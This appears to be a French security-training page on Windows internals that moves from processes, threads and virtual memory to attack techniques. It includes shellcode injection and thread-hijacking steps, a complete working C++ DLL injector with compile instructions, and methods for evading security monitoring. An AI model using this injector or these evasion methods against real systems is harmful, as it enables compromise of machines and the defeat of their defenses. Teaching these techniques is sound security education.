🏈Composants Internes windows
📚 Introduction
Chaque processus est une instance d'un programme en cours d'exécution, isolée(indépendant) et dotée de ses propres ressources.
Chaque processus a son propre espace d'adresse, son propre ensemble de ressources (mémoire, fichiers ouverts, etc.) et son propre état (informations de contexte d'exécution).
🛠️ Exemples d'Applications par Défaut qui Démarrent des Processus
MsMpEng
: Microsoft Defenderwininit
: Initialisation du clavier et de la sourislsass
: Stockage des identifiants
🔍 Types de Processus
Processus système : Processus critiques pour le fonctionnement du système d'exploitation.
Processus utilisateur : Processus initiés par l'utilisateur, comme les applications et les logiciels.
Services : Processus qui fonctionnent en arrière-plan pour fournir diverses fonctionnalités du système.
🛠️ Outils de Gestion des Processus
Gestionnaire des tâches : Pour surveiller et gérer les processus.
(Ctrl + Shift + Esc)
Process Explorer : Outil avancé fourni par Microsoft Sysinternals offrant une vue détaillée des processus en cours d'exécution, incluant les DLL chargées et les descripteurs ouverts.
System Informer :
Process Monitor v3.96 : Surveille les activités du système.
Process Explorer v17.05 : Vue détaillée des processus et des DLL.
💻 Commandes de Ligne de Commande
tasklist
: Affiche une liste de processus en cours d'exécution.taskkill
: Termine un processus en utilisant son PID ou son nom.wmic
: Permet d'exécuter des tâches de gestion à partir de la ligne de commande.
🔒 Sécurité des Processus
Les processus sous Windows sont protégés par des mécanismes de sécurité tels que :
Listes de contrôle d'accès (ACL) : Contrôlent les permissions sur les objets.
Jetons de sécurité : Garantissent que seuls les utilisateurs et processus autorisés peuvent accéder à certaines ressources ou effectuer des actions spécifiques.
Techniques d'attaques :
Thread
Un thread, c'est comme si vous pouviez faire deux, trois, ou même dix tâches en même temps.
Chaque thread est une petite liste de tâches qui peut s'exécuter en parallèle avec les autres.
Programme + rapide et + réactif, car il n'a pas à attendre qu'une tâche soit terminée avant de commencer la suivante.
Par exemple, dans un jeu vidéo, un thread peut être responsable du mouvement du personnage, tandis qu'un autre peut gérer les graphismes.
💿 Mémoire virtuelle
La mémoire virtuelle est une technique utilisée par les systèmes d'exploitation pour donner l'impression que votre ordinateur a plus de mémoire physique (RAM) qu'il n'en a réellement.
Lorsque vous utilisez un programme, il est d'abord chargé dans la mémoire de l'ordinateur (RAM).
Si vous avez trop de programmes ouverts et que la mémoire est pleine, le système d'exploitation utilise une partie du disque dur pour créer de la "mémoire virtuelle".
Les parties du programme dont vous avez besoin immédiatement restent dans la mémoire (RAM), tandis que le reste est stocké sur le disque dur.
Si une partie du programme est nécessaire mais n'est pas en mémoire, le système la récupère depuis le disque dur.
Pour libérer de la place en mémoire, le système peut déplacer des parties du programme non utilisées sur le disque dur.
Modifier la façon dont la mémoire est allouée pour les applications nécessitant un espace d'adressage plus grand : "increaseUserVA" ou en utilisant AWE (Address Windowing Extensions).
🔧 Attaque par injection de shellcode
Le but est d'injecter un shellcode dans l'espace mémoire d'un autre processus sur les systèmes Windows x86/x64 en utilisant l'API Windows.
Choix du Processus : L'attaquant choisit un processus déjà en cours d'exécution sur l'ordinateur cible.
Injection de Code : À l'aide d'un programme spécial, l'attaquant injecte un petit morceau de code malveillant, appelé shellcode, dans la mémoire de ce processus.
Activation du Code : Le shellcode est ensuite activé dans le processus cible, lui permettant d'exécuter des actions malveillantes, telles que prendre le contrôle du système ou voler des données.
Pour exécuter ce script, vous devez le lancer depuis un environnement Python sur un système Windows. Vous pouvez spécifier le PID du processus cible en utilisant l'option -p
ou --pid
. Assurez-vous également d'avoir défini le shellcode à injecter dans la variable shellcode
au début du script.
⚙️ Hijacking de Thread
Le hijacking de thread est une technique qui permet à un attaquant de prendre le contrôle d'un thread dans un processus en cours d'exécution.
Étapes du hijacking de thread :
Localiser et ouvrir le processus cible : Dans cette étape, nous ouvrons le processus dans lequel nous souhaitons injecter du code.
Allouer une région mémoire pour le code malveillant : Nous réservons de la mémoire dans le processus cible pour y écrire notre code.
Écrire le code malveillant dans la mémoire allouée : Nous écrivons notre code dans la région mémoire que nous avons allouée.
Identifier l'ID du thread cible à hijacker : Nous devons identifier le thread spécifique que nous voulons hijacker dans le processus.
Ouvrir le thread cible : Une fois que nous avons l'ID du thread, nous ouvrons le thread pour y accéder.
Suspendre le thread cible : Nous suspendons le thread pour empêcher son exécution pendant que nous effectuons des manipulations.
Obtenir le contexte du thread : Nous obtenons le contexte du thread, qui contient des informations sur l'état actuel du thread, y compris l'emplacement de l'IP (Instruction Pointer).
Mettre à jour l'IP pour pointer vers le code malveillant : Nous modifions l'IP pour qu'il pointe vers notre code malveillant.
Réécrire le contexte du thread : Nous mettons à jour le contexte du thread avec les modifications que nous avons apportées.
Reprendre l'exécution du thread : Enfin, nous reprenons l'exécution du thread, maintenant avec notre code malveillant.
💉 DLL injection
C'est une technique qui consiste à insérer du code dans un programme en cours d'exécution en chargeant une bibliothèque de liens dynamiques (DLL) malveillante. Voici les étapes principales :
Trouver le programme cible : Identifier le programme dans lequel vous voulez injecter la DLL.
Ouvrir le programme : Ouvrir une connexion vers ce programme pour pouvoir y faire des changements.
Réserver de la mémoire : Allouer un espace dans le programme cible pour y stocker le chemin d'accès de la DLL.
Écrire le chemin de la DLL : Écrire le chemin complet de la DLL dans cet espace mémoire.
Charger la DLL : Charger la DLL dans le programme cible en démarrant un thread spécial.
Nettoyer : Une fois que la DLL est injectée, libérer les ressources utilisées.
Voici un script en C++ qui effectue toutes les étapes de l'injection de DLL, suivi d'explications sur la compilation et l'exécution :
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
// Chemin vers la DLL malveillante (à remplacer par le chemin de votre propre DLL)
const char* dllLibFullPath = "chemin_vers_votre_dll.dll";
int main() {
// Étape 1 : Localiser le processus cible
DWORD processId = ...; // ID du processus cible
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
if (hProcess == NULL) {
std::cerr << "Erreur lors de l'ouverture du processus cible." << std::endl;
return 1;
}
// Étape 2 : Allouer de la mémoire pour le chemin de la DLL
LPVOID dllAllocatedMemory = VirtualAllocEx(
hProcess, // Handle du processus cible
NULL, // Adresse de départ souhaitée (NULL pour laisser le système choisir)
strlen(dllLibFullPath), // Taille du chemin de la DLL
MEM_COMMIT | MEM_RESERVE,// Allouer de la mémoire et la réserver
PAGE_READWRITE // Autoriser la lecture et l'écriture dans la région
);
if (dllAllocatedMemory == NULL) {
std::cerr << "Erreur lors de l'allocation de mémoire dans le processus cible." << std::endl;
CloseHandle(hProcess);
return 1;
}
// Étape 3 : Écrire le chemin de la DLL dans la mémoire allouée
SIZE_T bytesWritten;
BOOL result = WriteProcessMemory(
hProcess, // Handle du processus cible
dllAllocatedMemory, // Adresse de début de la mémoire allouée
dllLibFullPath, // Pointeur vers le chemin de la DLL
strlen(dllLibFullPath) + 1, // Taille du chemin de la DLL + caractère nul
&bytesWritten // Nombre d'octets écrits (optionnel)
);
if (!result) {
std::cerr << "Erreur lors de l'écriture du chemin de la DLL dans la mémoire du processus cible." << std::endl;
VirtualFreeEx(hProcess, dllAllocatedMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
// Étape 4 : Charger la DLL dans le processus cible
LPVOID loadLibraryAddr = (LPVOID)GetProcAddress(
GetModuleHandle("kernel32.dll"), // Handle de kernel32.dll
"LoadLibraryA" // Nom de la fonction LoadLibraryA
);
if (loadLibraryAddr == NULL) {
std::cerr << "Erreur lors de la récupération de l'adresse de la fonction LoadLibraryA." << std::endl;
VirtualFreeEx(hProcess, dllAllocatedMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
HANDLE hRemoteThread = CreateRemoteThread(
hProcess, // Handle du processus cible
NULL, // Attributs de sécurité (NULL pour les valeurs par défaut)
0, // Taille de la pile (0 pour utiliser la taille par défaut du processus)
(LPTHREAD_START_ROUTINE)loadLibraryAddr, // Pointeur vers la fonction LoadLibraryA
dllAllocatedMemory, // Paramètre pour LoadLibraryA (pointeur vers le chemin de la DLL)
0, // Crée le thread immédiatement après la création
NULL // Identifiant du thread (non utilisé ici)
);
if (hRemoteThread == NULL) {
std::cerr << "Erreur lors de la création du thread distant pour charger la DLL." << std::endl;
VirtualFreeEx(hProcess, dllAllocatedMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
// Attendre que le thread distant se termine
WaitForSingleObject(hRemoteThread, INFINITE);
// Nettoyage des ressources
CloseHandle(hRemoteThread);
VirtualFreeEx(hProcess, dllAllocatedMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
std::cout << "Injection de DLL réussie !" << std::endl;
return 0;
}
Pour compiler ce script :
Vous avez besoin d'un environnement de développement C++ tel que Visual Studio ou un compilateur C++ tel que GCC.
Créez un nouveau projet C++ dans votre environnement de développement.
Copiez le code ci-dessus dans un fichier source (par exemple,
main.cpp
) dans votre projet.Ajoutez les dépendances appropriées (par exemple,
Windows.h
).Compilez le projet pour obtenir l'exécutable.
🔌Evasion des défenses
Dans certains environnements, exécuter du code malveillant peut être difficile en raison de la surveillance des threads ou des sur les appels d'API. Cependant, nous avons plusieurs options pour contourner ces obstacles.
Jusqu'à présent, nous avons principalement examiné comment allouer et écrire des données dans les processus. Mais l'exécution du code est également cruciale. Nous avons principalement utilisé CreateThread
et CreateRemoteThread
, mais nous avons d'autres méthodes :
Appel de pointeurs de fonction : Cette méthode consiste à transformer un pointeur de mémoire alloué en pointeur de fonction et à l'invoquer pour exécuter le code. Cela peut être utile lorsque vous ne pouvez pas utiliser d'API système.
Appels de procédure asynchrone (APC) : Les APC sont des fonctions qui s'exécutent de manière asynchrone dans un thread spécifique. Nous utilisons
QueueUserAPC
pour mettre une fonction en file d'attente dans un thread etResumeThread
pour le réactiver. Cela peut être une alternative aux threads classiques mais peut être détecté par certaines solutions de sécurité.Manipulation des sections : Cette technique implique la manipulation des sections d'un fichier exécutable (PE) pour exécuter du code. C'est une méthode avancée qui nécessite une connaissance approfondie du format PE. Elle peut inclure l'analyse des points d'entrée, le mappage de sections, etc.
Je vous invite a poursuivre la formation vers l'évasion des défenses !
Last updated